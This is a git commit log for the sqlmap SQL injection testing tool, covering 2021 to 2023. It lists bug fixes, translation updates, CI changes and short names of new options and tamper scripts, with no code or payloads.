Miroslav Stampar 17688f6711 Fixes #5379 2023-04-07 12:58:53 +02:00
Miroslav Stampar 3b3c2a5d04 Fixes #5386 2023-04-07 12:32:32 +02:00
Miroslav Stampar 4f7614412f Fixes #5385 2023-04-05 10:56:36 +02:00
Miroslav Stampar 4efb3ea840 One more update related to the #5381 2023-04-05 10:31:17 +02:00
Miroslav Stampar c2bac51c4f Minor update 2023-04-05 09:33:17 +02:00
Miroslav Stampar 7d763e224a Potential patch for #5381 2023-04-05 09:28:14 +02:00
Miroslav Stampar 4dd362cb2c Fixes #5374 2023-03-31 22:18:15 +02:00
Miroslav Stampar 077d58c5e9 Fixes #5378 2023-03-30 15:34:46 +02:00
Miroslav Stampar 257c4d1c88 Fixes #5370 2023-03-24 14:29:02 +01:00
Miroslav Stampar ce30fa08d6 Fixes #5368 2023-03-20 11:59:54 +01:00
patr1ckbat3man 3ca2533c39 Slovak translation (#5366)
* added slovak translation

* changed readme error
2023-03-20 11:55:17 +01:00
Miroslav Stampar 75bfebed9d Fixes #5367 2023-03-20 11:50:44 +01:00
Miroslav Stampar 3117730d84 Fixes #5364 2023-03-15 23:00:16 +01:00
Miroslav Stampar 323af987ed Fixes #5358 (related to #5050) 2023-03-09 15:22:28 +01:00
Miroslav Stampar 80dc67f85a Patch for #5338 2023-02-27 18:21:35 +01:00
Miroslav Stampar ca2f094e4a Doing a dirty patch for #5050 2023-02-27 17:57:57 +01:00
Miroslav Stampar 3aa6692b82 Patch for #5348 2023-02-27 17:49:42 +01:00
Miroslav Stampar aabfcbc3e1 Minor update 2023-02-27 17:44:11 +01:00
Miroslav Stampar d42174e8a0 Patch for #5343 2023-02-24 21:59:12 +01:00
Miroslav Stampar a1bf89d31e Fixes #5344 2023-02-24 21:51:52 +01:00
Miroslav Stampar 99ea44c7b3 Fixes #5339 2023-02-21 00:39:07 +01:00
Miroslav Stampar abc092959f Minor update of fingerprinting stuff 2023-02-20 15:37:32 +01:00
Miroslav Stampar d5547d908c Periodic recloak 2023-02-20 15:20:15 +01:00
Miroslav Stampar 25fe5dce21 Minor update 2023-02-20 15:17:09 +01:00
Miroslav Stampar 1f82d9587a Minor patch 2023-02-20 15:08:49 +01:00
Miroslav Stampar 15d9c8f9ed Updating bottlepy to the latest revision 2023-02-20 14:44:56 +01:00
Miroslav Stampar 01310a47fd Minor update 2023-02-20 14:35:35 +01:00
Miroslav Stampar 56177c3d2a Minor update of common tables/columns 2023-02-20 13:32:38 +01:00
Miroslav Stampar c5d7c542a2 Update for Apache Derby (#5315) 2023-02-12 17:12:38 +01:00
Miroslav Stampar 4357b0087d Minor refactoring for #5308 2023-02-07 09:49:42 +01:00
Miroslav Stampar d3bfe59401 Fixes #5308 2023-02-07 09:40:42 +01:00
Miroslav Stampar 9eb970e7c7 More fixes related to ClickHouse support (#5229) 2023-02-04 00:28:33 +01:00
Miroslav Stampar 46495f70f8 Adding char escaper to ClickHouse support (#5229) 2023-02-04 00:00:21 +01:00
Miroslav Stampar 30ba167cc1 Some more fixes related to ClickHouse support (#5229) 2023-02-03 23:56:50 +01:00
Miroslav Stampar d7180d38c4 Some fixes related to ClickHouse support (#5229) 2023-02-03 23:30:05 +01:00
Miroslav Stampar b1aaac5ba2 Minor update 2023-02-03 23:14:29 +01:00
Alexis Danizanandpentest 8962e152ac Add Clickhouse support (#5229)
Co-authored-by: pentest <>
2023-02-03 23:10:12 +01:00
Paul Werther c58383e684 add performance_schema to mysql prediction file (#5305) 2023-02-03 22:54:35 +01:00
Miroslav Stampar 4585243175 Implements tamper script if2case (#5301) 2023-02-01 13:53:19 +01:00
Miroslav Stampar fbfed061b8 Fixes #5300 2023-01-28 21:50:26 +01:00
Miroslav Stampar fdbc323aa6 One more update for #5295 2023-01-24 12:08:02 +01:00
Miroslav Stampar 6336389322 Another update for #5295 2023-01-24 12:00:23 +01:00
Miroslav Stampar a7b59243e2 One more update regarding #4870 2023-01-23 18:04:47 +01:00
Miroslav Stampar c8eea24ac4 Implements #5295 2023-01-23 16:40:41 +01:00
Miroslav Stampar 1be7a5aea8 Fixes #4870 2023-01-23 16:21:46 +01:00
Miroslav Stampar d0d4cf4f6d Minor update regarding #5297 2023-01-23 16:05:46 +01:00
Miroslav Stampar 1f83076e70 Fixes #5287 2023-01-15 18:07:44 +01:00
Miroslav Stampar b0a1efaa44 Minor update for #5279 2023-01-09 17:12:26 +01:00
Miroslav Stampar de527f1814 Minor update for #5285 2023-01-09 15:35:21 +01:00
Miroslav Stampar 96adc7c098 Fixes #5285 2023-01-09 15:34:08 +01:00
Miroslav Stampar 7940b572ef Trivy minor version bump 2023-01-02 23:39:27 +01:00
Miroslav Stampar 05293e01a4 Year and version bump 2023-01-02 23:24:59 +01:00
Miroslav Stampar 216565fb05 Fixes #5275 2022-12-28 16:35:26 +01:00
Miroslav Stampar 6e3eaca547 Minor update of testing stuff 2022-12-23 16:24:41 +01:00
Miroslav Stampar 5592f55cae Revert "JSON WAF bypass tamper scripts (#5260)" (#5273)
This reverts commit 12e3ed14ae.
2022-12-23 15:59:12 +01:00
noamiscool 12e3ed14ae JSON WAF bypass tamper scripts (#5260)
* added JSON waf bypass techniques

* added a link for WAF evasion technique blog

* Added generic JSON WAF bypass
2022-12-23 15:52:49 +01:00
Miroslav Stampar dd4010f16f Fixes #5268 2022-12-23 15:49:08 +01:00
Miroslav Stampar 4cd146cc86 Fix for masking of sensitive data 2022-12-21 14:03:40 +01:00
Miroslav Stampar e85bc30f95 Fixes #5267 2022-12-20 13:29:37 +01:00
Miroslav Stampar b7411211af Fixes #5262 2022-12-17 14:46:00 +01:00
Miroslav Stampar a11f79e16f One more update regarding #5164 2022-12-14 00:35:27 +01:00
Miroslav Stampar 7c9e4c4a65 Fixes #5164 2022-12-14 00:32:35 +01:00
Miroslav Stampar 76202e565d Fixes #5258 2022-12-13 23:52:04 +01:00
Miroslav Stampar 86ac3025ed Improving SQLite table schema parsing (#2678) 2022-12-13 23:42:24 +01:00
Miroslav Stampar ebaee3a4e6 Minor patch for #5255 2022-12-12 15:24:27 +01:00
Miroslav Stampar 33a6547f5b Fixes #5252 2022-12-06 11:55:03 +01:00
Miroslav Stampar ad529f24cb Minor update 2022-11-29 15:12:18 +01:00
Miroslav Stampar 3d2f89345f Fixes #5242 2022-11-29 15:05:34 +01:00
Miroslav Stampar 58f10093a0 Minor update 2022-11-29 14:48:20 +01:00
Miroslav Stampar 6aaf7d3960 Fixes #5240 2022-11-22 00:28:20 +01:00
Miroslav Stampar b8fa0edea6 Fixes #5232 2022-11-21 00:37:48 +01:00
Miroslav Stampar 55b2b43f0e Fixes #5233 2022-11-21 00:20:05 +01:00
Miroslav Stampar 7bc0b08fd6 Implementing option '--dump-file' (#5238) 2022-11-21 00:03:36 +01:00
Miroslav Stampar 62bba470d6 Fixes #5220 2022-11-02 10:49:09 +01:00
Miroslav Stampar eda669e10b Fixes #5216 2022-11-01 23:26:15 +01:00
Fabian Ising c382321134 Better handling of CookieJar Runtime Exception (#5206)
Fixes #5187
2022-10-21 19:10:43 +02:00
Miroslav Stampar 2ace4ef471 Implements tamper script 'scientific' (#5205) 2022-10-21 19:07:20 +02:00
Miroslav Stampar 02dcf2a926 Fixes #5203 2022-10-17 12:21:56 +02:00
CrazyKidJack 5c55602296 Fix --cookie-del (cookieDel) error checking (#5198)
error checking was checking if len(conf.cookieDel) which always returns true when option is used. Now it checks if len(conf.cookieDel) != 1
2022-10-17 11:59:17 +02:00
Miroslav Stampar aa9cc3987e Implements option --csrf-data (#5199) 2022-10-17 11:52:22 +02:00
Miroslav Stampar d7ee423fc5 Fixes #5202 2022-10-17 11:35:58 +02:00
Miroslav Stampar 1092dfb877 Patch related to the #5192 2022-10-12 11:27:11 +02:00
Miroslav Stampar bf4f84b70a Fixes #5191 2022-10-12 11:13:59 +02:00
Miroslav Stampar c45cf60fb4 Minor update of fingerprinting data 2022-10-07 20:55:49 +02:00
Miroslav Stampar 3f53b2bc05 Fixes #5190 2022-10-07 20:12:12 +02:00
Miroslav Stampar 9c103b3dd6 Fixes #5187 2022-10-06 11:50:35 +02:00
Víctor García 7f62572f43 Add files via upload (#5189) 2022-10-06 11:32:31 +02:00
Miroslav Stampar e846209b87 Update regarding #5092 2022-09-25 16:34:40 +02:00
Miroslav Stampar a246b8da5e Fixes #5182 2022-09-25 16:02:48 +02:00
Miroslav Stampar 70665c5d2b Improvement regarding #5171 2022-09-13 22:59:34 +02:00
Hoomaan 111620e395 Fixing grammar issues of FA readme (#5172) 2022-09-13 22:24:22 +02:00
Miroslav Stampar 2382d2654e Fixes #5170 2022-09-06 13:00:47 +02:00
Miroslav Stampar 4cdc3af585 Fixes #5165 2022-08-26 20:34:11 +02:00
Miroslav Stampar 212f28d1ad Fixes --check-tor (reported privately) 2022-08-22 16:25:55 +02:00
Miroslav Stampar e1f7690de4 Fixes #5162 2022-08-10 14:51:35 +02:00
Miroslav Stampar 7e425d4c9b Fixes #5154 2022-08-04 09:20:52 +02:00
Miroslav Stampar fe2042ea58 Fixes #5152 2022-08-04 08:57:35 +02:00
Miroslav Stampar 54e953d206 Fixes #5147 2022-07-27 22:42:35 +02:00
Miroslav Stampar 8c26c67ce9 Minor patch for privately reported bug 2022-07-20 20:56:49 +02:00
Bernardo Damele A. G c722f8e3bd Update FUNDING.yml
Updated funding information to point to sqlmap project's sponsors page
2022-07-14 09:29:51 +00:00
Miroslav Stampar 521da5e734 Fixes #5137 2022-07-13 22:27:26 +02:00
Miroslav Stampar 43fba39366 Fixes #5131 2022-06-29 15:36:43 +02:00
Miroslav Stampar afdaba76dc Potential fix for #5134 2022-06-29 15:30:34 +02:00
Miroslav Stampar d98d64504c Potential fix for #5132 2022-06-29 15:24:45 +02:00
Miroslav Stampar 290058451d Fixes #5133 2022-06-29 15:11:40 +02:00
Miroslav Stampar e7372a9512 Fixes #5123 2022-06-23 13:47:52 +02:00
ptgeft 864ab597c0 Update array-like POST data regex (#5128) 2022-06-23 13:24:14 +02:00
Miroslav Stampar e8731e1af5 Some DeprecationWarning fixes 2022-06-22 13:05:41 +02:00
Miroslav Stampar df4293473d Fixing DeprecationWarning (logger.warn) 2022-06-22 12:04:34 +02:00
Miroslav Stampar 90b444c927 Minor adjustments 2022-06-22 11:58:09 +02:00
Miroslav Stampar 99f07b64c5 Fix related to the #5122 2022-06-16 11:22:44 +02:00
Miroslav Stampar 07ae377987 Minor patch (some middleware doesn't like switching from GET to POST) 2022-06-13 04:41:52 +02:00
Miroslav Stampar 4a355b99be Minor update of error regex for Presto 2022-06-13 04:34:11 +02:00
Miroslav Stampar 7008361017 Minor version bump 2022-06-04 00:14:10 +02:00
Miroslav Stampar a14a3d0e54 Fixes #5113 2022-06-04 00:12:06 +02:00
David Kadaria 3aae1849bb Translated into Georgian (#5095) 2022-05-13 18:13:02 +02:00
Miroslav Stampar 7d07976969 Fixes #5096 2022-05-13 17:56:45 +02:00
Miroslav Stampar 9dc1344478 Patch for #5102 2022-05-13 17:50:14 +02:00
Miroslav Stampar e8e7d66356 Patch for #5105 2022-05-13 17:45:17 +02:00
Miroslav Stampar 2038512518 Fixes #5091 2022-05-09 15:15:06 +02:00
Miroslav Stampar 184454ba8e Fixes #5093 2022-05-09 14:54:28 +02:00
Miroslav Stampar aacb360d46 One patch related to #5087 2022-05-04 18:14:43 +02:00
Miroslav Stampar 5eaf1d2d27 Fixes #5076 2022-04-29 17:32:16 +02:00
Miroslav Stampar be987815c9 Patch for #5073 2022-04-21 15:03:22 +02:00
Miroslav Stampar fb3f428804 Fixes #5057 2022-04-07 17:12:36 +02:00
Miroslav Stampar 52f2faf2cf Fixes #5059 2022-04-06 22:41:12 +02:00
Miroslav Stampar d5fb92ee42 Minor update 2022-04-05 01:06:28 +02:00
Miroslav Stampar cd76f8863b Speeding up oracle_old_passwd if PyCrypto available 2022-04-05 01:00:02 +02:00
Miroslav Stampar 5b2c0f0d46 Trivial update 2022-04-05 00:12:09 +02:00
Miroslav Stampar 548d98e0af Minor style update 2022-03-31 23:22:51 +02:00
Jerry 68c2180c59 Added Dutch translation. (#5055)
* Added Dutch translation

* Fixed typo

* Consistency
2022-03-31 23:20:25 +02:00
Miroslav Stampar e2f48a9346 Implementing switch --no-logging (#4484) 2022-03-25 19:10:46 +01:00
Miroslav Stampar 582bb2fec9 Fixes #5039 2022-03-21 15:38:15 +01:00
Miroslav Stampar 9bdad4bcd5 Fixes #5040 2022-03-21 15:31:13 +01:00
Miroslav Stampar e1a04a8201 Fixes #5044 2022-03-21 14:33:48 +01:00
Miroslav Stampar 7149991faf Fixes #5042 2022-03-21 14:26:56 +01:00
yuya-okabe 32acb1e4ff fix: corrected text in japanese READ.ME (#5038)
The translation has been corrected to be natural from a Japanese point of view.
2022-03-21 14:11:47 +01:00
Miroslav Stampar e91b1a0f97 Fixes #5032 2022-03-15 21:52:05 +01:00
Miroslav Stampar 439d1cce67 Fixes #5031 2022-03-15 11:34:09 +01:00
Miroslav Stampar dcf304c65e Minor update related to #5030 2022-03-11 18:31:05 +01:00
Miroslav Stampar f5ed2c0c97 Fixes #4990 2022-03-08 00:51:14 +01:00
Miroslav Stampar dd55d97f77 Minor updates 2022-03-07 23:10:39 +01:00
Miroslav Stampar 445d69f678 Implementation for multipart/eval (#5021) 2022-03-07 22:05:00 +01:00
Miroslav Stampar 02ff0eef88 Fixes #5019 2022-03-07 20:25:34 +01:00
Miroslav Stampar acd5ef055a Minot improvement of JSON/eval (#5013) 2022-03-07 20:17:51 +01:00
Miroslav Stampar a2fcab448c Fixes #5018 2022-03-07 18:34:34 +01:00
Miroslav Stampar 0b775b6d1d Fix for json/eval bug (#5013) 2022-03-07 17:30:49 +01:00
Miroslav Stampar b1881129b6 Bug for JSON-like bug (#5013) 2022-03-07 15:12:29 +01:00
Miroslav Stampar acae6e3e7c Fix for cookie/eval bug (#5013) 2022-03-07 14:38:14 +01:00
Miroslav Stampar bacf18832a Update of 3rd party library chardet 2022-03-03 18:03:01 +01:00
Miroslav Stampar 75905e0cd9 Minor update of 3rd party bottle library 2022-03-03 17:55:50 +01:00
Miroslav Stampar 6aa4d9bdf1 Fixes #5004 2022-03-02 13:28:04 +01:00
Miroslav Stampar 90eeab68b9 Minor patch of links 2022-02-27 21:36:48 +01:00
Miroslav Stampar 22168204c2 Minor consistency update 2022-02-27 21:29:59 +01:00
Miroslav Stampar 63977ebdff Minor update 2022-02-27 21:24:41 +01:00
Miroslav Stampar e393e1b80e Minor update for #4992 2022-02-23 12:13:30 +01:00
Jeffrey Bencteux a4cf25c97d add ord2ascii tamper script (#4992)
Changes occurrences of ORD() function to equivalent ASCII() ones.
2022-02-23 12:11:27 +01:00
Daniel Krupiński 796173f81c Fix typos in Polish translation of README.md (#4983) 2022-02-14 14:39:05 +01:00
Miroslav Stampar 5e18bf81b9 Fixes #4981 2022-02-14 14:36:47 +01:00
Miroslav Stampar 74f5518e62 Update for #4977 2022-02-11 09:01:10 +01:00
Miroslav Stampar 74ecc72588 Fixes #4976 2022-02-10 23:11:15 +01:00
Miroslav Stampar 292cc5fe59 Minor fix 2022-02-10 22:41:44 +01:00
Miroslav Stampar b528fc07f9 Update for #4928 2022-02-10 22:30:52 +01:00
Emircan Y 25d6479f91 Changed with turkish equivalent (#4964)
It was not turkish.
2022-01-26 10:26:20 +01:00
Miroslav Stampar 8bcaed171a Dirty patch for #4960 2022-01-24 13:38:44 +01:00
Miroslav Stampar 22e7b35ef4 Minor patch (#4951) 2022-01-19 15:01:47 +01:00
Miroslav Stampar 067c3bc353 Minor patch (#4950) 2022-01-19 15:00:16 +01:00
Miroslav Stampar 4d9dbdb36d Fixes #4941 2022-01-17 13:24:02 +01:00
Miroslav Stampar 309d08850f Fixes #4943 2022-01-17 13:18:35 +01:00
Miroslav Stampar 3b07b70864 Potentially fixes strange #4933 2022-01-13 23:10:12 +01:00
Miroslav Stampar 97b88b0949 Minor update 2022-01-03 11:41:51 +01:00
Miroslav Stampar cb8861fde8 Minor update 2022-01-03 11:37:49 +01:00
Miroslav Stampar 519c0ac01b Version bump 2022-01-03 11:32:51 +01:00
Miroslav Stampar 6276db1d80 Copyright year bump 2022-01-03 11:30:34 +01:00
Miroslav Stampar 3c9f55b5d5 Dirty patch for #4920 2021-12-31 09:44:05 +01:00
Miroslav Stampar 7d5883f1ed Dirty patch for #4919 2021-12-27 11:19:49 +01:00
Miroslav Stampar 0de0fa047e Fixes #4916 2021-12-24 16:11:05 +01:00
Miroslav Stampar 477ffd848a Fixes #4914 2021-12-24 15:59:37 +01:00
Miroslav Stampar 1d8643db09 Fixes #4899 2021-12-13 15:24:58 +01:00
Miroslav Stampar 122c47146d Fixes #4897 2021-12-03 18:12:26 +01:00
Miroslav Stampar 92b065276f Fixes #4896 2021-12-03 14:18:54 +01:00
Miroslav Stampar 90b145ee87 Fixes #4895 2021-12-02 17:01:02 +01:00
Miroslav Stampar b185b5e989 Update related to #4892 2021-11-27 20:24:28 +01:00
Miroslav Stampar 3f0ffafaea Minor update for #4888 2021-11-19 19:08:25 +01:00
Miroslav Stampar 953a51c29f Bug fix (wrong stype) 2021-11-16 23:38:13 +01:00
Miroslav Stampar 4cc6afe0fc Adding proper heavy query payload for MySQL 2021-11-16 23:27:22 +01:00
Miroslav Stampar 8d98347a43 Proper naming of BENCHMARK queries 2021-11-16 23:14:51 +01:00
Miroslav Stampar 687cde5a15 Minor update 2021-11-11 19:54:07 +01:00
Miroslav Stampar aefd0485ed Minor update 2021-11-11 19:34:35 +01:00
Miroslav Stampar 54e342399d Fixes #4883 2021-11-10 17:32:40 +01:00
Miroslav Stampar 88798cf02b Adding some fresh blood to wordlist 2021-11-05 19:18:47 +01:00
Miroslav Stampar c988d4f6d0 Delete COMMITMENT 2021-11-05 18:25:04 +01:00
Miroslav Stampar 8c904bf73c Some fine tuning for #4876 2021-11-01 22:00:26 +01:00
Miroslav Stampar 9e17babe7b Implements option --retry-on (#4876) 2021-11-01 21:50:16 +01:00
Miroslav Stampar fc9875fc12 Update of http to https links in translations 2021-10-31 10:53:56 +01:00
Kai bfaa4cbf8d README.md: HTTP => HTTPS (#4878) 2021-10-31 10:50:21 +01:00
Miroslav Stampar ad7da11946 Fixes #4866 2021-10-26 10:24:21 +02:00
Miroslav Stampar 08cb06fb65 Minor update for #4870 2021-10-26 10:19:42 +02:00
Miroslav Stampar cceb5319ef Fixes #4869 2021-10-26 10:05:14 +02:00
Miroslav Stampar 8a57002b26 Fixes #4853 2021-10-16 23:20:33 +02:00
Miroslav Stampar e7315ccd4d Fixes #4861 2021-10-16 23:12:18 +02:00
Miroslav Stampar e435d1e712 Fixes #4856 2021-10-13 19:45:44 +02:00
Miroslav Stampar f0194a8814 Fixing a special case (capitalized UNION response) 2021-10-11 21:38:45 +02:00
Miroslav Stampar e03404283c Potential patch for #4853 2021-10-11 18:01:34 +02:00
Miroslav Stampar 18013bc8b2 Fixes #4842 2021-10-08 17:33:43 +02:00
Miroslav Stampar 0517979e0a Some more refactoring 2021-10-08 16:32:49 +02:00
Miroslav Stampar a3100ff069 Trivial refactoring of #4657 2021-10-08 16:24:54 +02:00
Pierre DelagraveandMiroslav Stampar b65c17608f Fixed hanging on stdin in API mode. (#4657)
Fixed regression introduced in 1.4.11

Co-authored-by: Miroslav Stampar <[email protected]>
2021-10-08 16:22:38 +02:00
za aec527dbee Added more ID word in common-columns.txt (#4852) 2021-10-08 16:18:25 +02:00
Miroslav Stampar e9d7a770e1 Fixing a DeprecationWarning with activeCount() 2021-10-07 00:45:55 +02:00
Miroslav Stampar 182c06e26b Trying out 2021-10-07 00:41:09 +02:00
Miroslav Stampar c4680b7e04 Bug fix 2021-10-07 00:39:54 +02:00
Miroslav Stampar f1621d0d89 Minor update 2021-10-07 00:32:35 +02:00
Miroslav Stampar 69900a6c6e Fixes #4849 2021-10-07 00:29:31 +02:00
Miroslav Stampar 7d31de1124 Revert as it might work at the end 2021-10-01 10:15:57 +02:00
Miroslav Stampar 59bd03f1a9 Trying smth simple 2021-10-01 10:10:12 +02:00
Miroslav Stampar 7f7e78a517 Minor update 2021-10-01 09:40:45 +02:00
Miroslav Stampar 9ac251142c Minor refactoring 2021-10-01 09:11:57 +02:00
Miroslav Stampar c712e9c22f Minor update 2021-10-01 09:05:06 +02:00
Miroslav Stampar 954a8e6ee7 Struggling with Github Actions 2021-10-01 09:02:44 +02:00
Miroslav Stampar 6ce9e40a90 Trying smth out 2021-09-30 21:23:40 +02:00
Miroslav Stampar 7878c22cd2 Minor refactoring 2021-09-30 08:36:59 +02:00
Miroslav Stampar dec550b1c9 Minor patch for Windows OS 2021-09-30 08:36:07 +02:00
Miroslav Stampar 3ff4bb8938 Update README.md 2021-09-29 23:50:06 +02:00
Miroslav Stampar aeaa776ca9 PyPy patch for testing module 2021-09-29 23:01:32 +02:00
Miroslav Stampar 08eeb0fd88 Minor update 2021-09-29 22:24:30 +02:00
Miroslav Stampar c8d06d1099 Minor patch 2021-09-29 21:38:59 +02:00
Miroslav Stampar a48ce3c12a Minor patch for Windows OS 2021-09-29 21:15:15 +02:00
Miroslav Stampar d8b15c14b6 Some more testing module adaption 2021-09-29 20:59:10 +02:00
Miroslav Stampar fc0ba39045 Adapting testing module for Windows OS 2021-09-29 20:29:36 +02:00
Miroslav Stampar 5ea5fc896b Fixing a problem with pypy (explicit flush needed) 2021-09-29 20:05:07 +02:00
Miroslav Stampar 374f38fdce Minor patch of doctests for Windows machine 2021-09-29 19:45:04 +02:00
Miroslav Stampar 95b69d2c61 Minor patch for Python drei 2021-09-29 18:09:59 +02:00
Miroslav Stampar 3d01a9106e Fixing pypy bug with multiple targets and SQLite cursor 2021-09-29 17:46:32 +02:00
Miroslav Stampar 95e0b368f2 Fixing a MacOS problem with --vuln 2021-09-29 17:26:38 +02:00
Miroslav Stampar 564c5a2494 Removing --fuzz-test 2021-09-29 17:23:38 +02:00
Miroslav Stampar cfa5042358 Still fighting with Github Actions 2021-09-29 17:09:23 +02:00
Miroslav Stampar 353a6251dd Adding faketty for Github Actions 2021-09-29 17:00:24 +02:00
Miroslav Stampar 94706bd7fc More fine-tuning for Github Actions 2021-09-29 16:41:58 +02:00
Miroslav Stampar a9f998273c Fine-tuning for Github Actions 2021-09-29 16:33:52 +02:00
Miroslav Stampar 1d6d2c1892 Some refactoring (isMultiThreadMode fuzz) 2021-09-29 16:13:13 +02:00
Miroslav Stampar e6532f3faf Trying smth out 2021-09-29 15:54:59 +02:00
Miroslav Stampar 72572d2b97 Delete .travis.yml 2021-09-29 15:43:28 +02:00
Miroslav Stampar 7bb91805db Create tests.yml 2021-09-29 15:43:13 +02:00
Miroslav Stampar 7f8e38bacf Fixes #4817 2021-09-29 15:22:41 +02:00
Miroslav Stampar c90b243b50 Minor patch 2021-09-29 15:22:41 +02:00
tanaydin sirin c24e4a7086 Update README-tr-TR.md (#4832)
Small fix for documentation.
2021-09-28 14:25:27 +02:00
Miroslav Stampar 79e0fc7602 Fixes #4824 2021-09-26 01:10:02 +02:00
Miroslav Stampar db2e34f6e0 Minor update 2021-09-24 12:40:07 +02:00
Miroslav Stampar 24e3b6a84e Fixes #4801 2021-09-16 13:59:42 +02:00
Miroslav Stampar f322306cb2 Fixes #4803 2021-09-15 11:14:43 +02:00
Miroslav Stampar 8f84b740da Minor update 2021-09-09 20:47:32 +02:00
Miroslav Stampar 5fae5c3787 Minor improvement of sqlmapapi client 2021-09-09 20:27:45 +02:00
Miroslav Stampar 590480d6ac Update of bottle library 2021-09-09 20:07:41 +02:00
Miroslav Stampar d95406016c Update regarding #4795 2021-09-08 21:01:41 +02:00
Miroslav Stampar 6e968584f6 Minor refactoring 2021-09-02 21:44:41 +02:00
Miroslav Stampar cc5ba4753c Fixes #4784 2021-08-31 13:07:38 +02:00
Miroslav Stampar afa4d2c514 Fixes #4783 2021-08-31 13:04:45 +02:00
Miroslav Stampar d63401632c Fixes #4776 2021-08-26 18:08:48 +02:00
Miroslav Stampar 45553f0efc Fixes #4779 2021-08-26 17:46:56 +02:00
Miroslav Stampar f1dbe9e388 Minor bug fix 2021-08-18 23:16:19 +02:00
Miroslav Stampar 3977be9c9e Fixing falling back (aka query2) for --tables 2021-08-18 23:08:54 +02:00
Miroslav Stampar 9da558f041 Minor revert (accidental change) 2021-08-18 22:39:32 +02:00
Miroslav Stampar b3bc401f2e Fixing #4768 2021-08-17 15:16:05 +02:00
Miroslav Stampar 06cd97f097 Trivial update 2021-08-02 02:38:41 +02:00
Miroslav Stampar 293772348c Fixes #4751 2021-07-28 00:34:10 +02:00
Miroslav Stampar 2679c650aa Trivial update 2021-07-23 11:04:30 +02:00
Miroslav Stampar 179a6edf92 Implements swagger API specs (#4746) 2021-07-23 00:08:58 +02:00
Miroslav Stampar 8af87c7ea6 More text update 2021-07-19 13:58:54 +02:00
Miroslav Stampar 3a1dd163ec Minor text update (#4738) 2021-07-19 13:55:51 +02:00
Colinatorr f8a9288953 fix: typo (#4740) 2021-07-19 13:50:23 +02:00
Miroslav Stampar 8895b7d09d Fixes #4736 2021-07-15 10:01:17 +02:00
Miroslav Stampar fa05878712 Fixes #4733 2021-07-14 01:10:33 +02:00
Miroslav Stampar 795b9e6521 Fixes #4731 2021-07-12 00:35:50 +02:00
Miroslav Stampar 1f3a1410f2 Fixes #4727 2021-07-04 23:45:22 +02:00
Miroslav Stampar 69c679cf06 Fixes #4728 2021-07-04 23:07:55 +02:00
Miroslav Stampar 5ea08b397a Fixes #4710 2021-06-24 21:03:22 +02:00
Miroslav Stampar 7c41967865 Fixes #4719 2021-06-21 17:17:41 +02:00
Miroslav Stampar 255dce8c49 Fixes #4712 2021-06-15 21:04:51 +02:00
Miroslav Stampar 7c7c338705 Fixes #4705 2021-06-11 09:48:00 +02:00
Miroslav Stampar 63073a1873 15% speedup in some cases (avoiding heuristic char detection) 2021-06-08 21:48:43 +02:00
Miroslav Stampar 295cd15dff Version bump related to the merged pulls 2021-06-08 14:05:05 +02:00
Stefan Pejcic 3463341bad link to rs translation (#4692) 2021-06-08 14:04:03 +02:00
Stefan Pejcic 88553d3540 rs translation (#4691) 2021-06-08 14:03:52 +02:00
Pham Sy Minh ab90447600 Update README-vi-VN.md (#4701) 2021-06-08 14:02:38 +02:00
Miroslav Stampar a23faaeb8c Patch related to #4693 2021-05-31 00:34:14 +02:00
Miroslav Stampar 6942abf090 Minor update 2021-05-27 12:29:40 +02:00
Miroslav Stampar 3c25f79a9b Fixes #4671 2021-05-25 14:40:15 +02:00
Miroslav Stampar 94ab17829e Fixes #4688 2021-05-25 09:01:41 +02:00
Miroslav Stampar c4c1571902 Making sqlmap compatible with PyPy/PyPy3 2021-05-24 13:49:35 +02:00
Miroslav Stampar da86486cd9 Couple of minor patches 2021-05-24 13:12:18 +02:00
Miroslav Stampar dccc837703 Minor update 2021-05-19 18:32:03 +02:00
Miroslav Stampar 452915ed4a Minor update 2021-05-19 18:20:39 +02:00
Miroslav Stampar 35e575c287 Minor update 2021-05-17 10:43:58 +02:00
Miroslav Stampar 015a8f0a6d Fixes #4678 2021-05-17 10:40:27 +02:00
Miroslav Stampar 0896a49500 Minor update 2021-05-12 13:14:13 +02:00
Miroslav Stampar 95511c8ff9 Fixes #4659 2021-05-01 13:25:00 +02:00
Miroslav Stampar 8bf1650d65 Fixes #4664 2021-05-01 11:40:42 +02:00
Sutrisno Efendi ff645a767b Update README-id-ID.md (#4663) 2021-05-01 11:33:14 +02:00
Miroslav Stampar cfa7b3c3bd Implements #4656 2021-04-28 18:06:15 +02:00
Miroslav Stampar 76b310cc43 Fixes #4650 2021-04-25 20:36:19 +02:00
Miroslav Stampar 9a6acd2054 Fixes #4637 2021-04-13 17:55:54 +02:00
Miroslav Stampar 387020ece8 Better yet for #4633 2021-04-09 11:43:01 +02:00
Miroslav Stampar 732b9670d2 Minor fix related to last commit 2021-04-05 19:00:35 +02:00
Miroslav Stampar 1159c9ccae Fixes #4629 2021-04-05 18:38:47 +02:00
Miroslav Stampar cadbf170f0 Fixes #4630 2021-04-05 18:21:09 +02:00
Miroslav Stampar fc486c8b34 Minor update 2021-04-02 13:55:37 +02:00
Miroslav Stampar cfe43e3f2b Patch for #4626 2021-04-02 12:56:31 +02:00
Miroslav Stampar 6395481aa4 Fixes #4625 2021-04-02 12:47:03 +02:00
Miroslav Stampar 2380ab1e86 Dummy patch for #4623 2021-03-31 10:42:40 +02:00
Miroslav Stampar dd32bfb0cc Minor patch for #4613 2021-03-28 21:41:45 +02:00
Daniel Igarashi b7d90bbe03 Correct a typo (#4619) 2021-03-28 20:01:21 +02:00
Miroslav Stampar 86170e177c Dirty patch for #4618 2021-03-28 19:58:06 +02:00
Miroslav Stampar bce3abc829 Fixes #4612 2021-03-25 17:29:14 +01:00
Miroslav Stampar 8d6125f067 Minor patch 2021-03-22 12:00:32 +01:00
Miroslav Stampar 506e3f0871 Fixes #4611 2021-03-22 11:03:57 +01:00
Miroslav Stampar 6145944dc7 Fixes #4609 2021-03-18 11:40:39 +01:00
Miroslav Stampar 61186b979b Update THANKS.md 2021-03-16 10:11:23 +01:00
Miroslav Stampar 4d4b9a1175 Potential (hide the cause) patch for #4367 2021-03-15 23:02:31 +01:00
Miroslav Stampar 133e2c8c61 Trivial update 2021-03-11 21:31:28 +01:00
Miroslav Stampar 38c341076d Update regarding #4142 (--auth-type bearer) 2021-03-11 20:41:05 +01:00
Miroslav Stampar 40e4422bbd Trivial cosmetics (breaking help into two lines) 2021-03-11 20:14:36 +01:00
Bernardo Damele A. G 98ac1cf9c1 Update FUNDING.yml 2021-03-11 18:11:28 +00:00
Bernardo Damele A. G 56721240fa Update FUNDING.yml 2021-03-11 17:22:58 +00:00
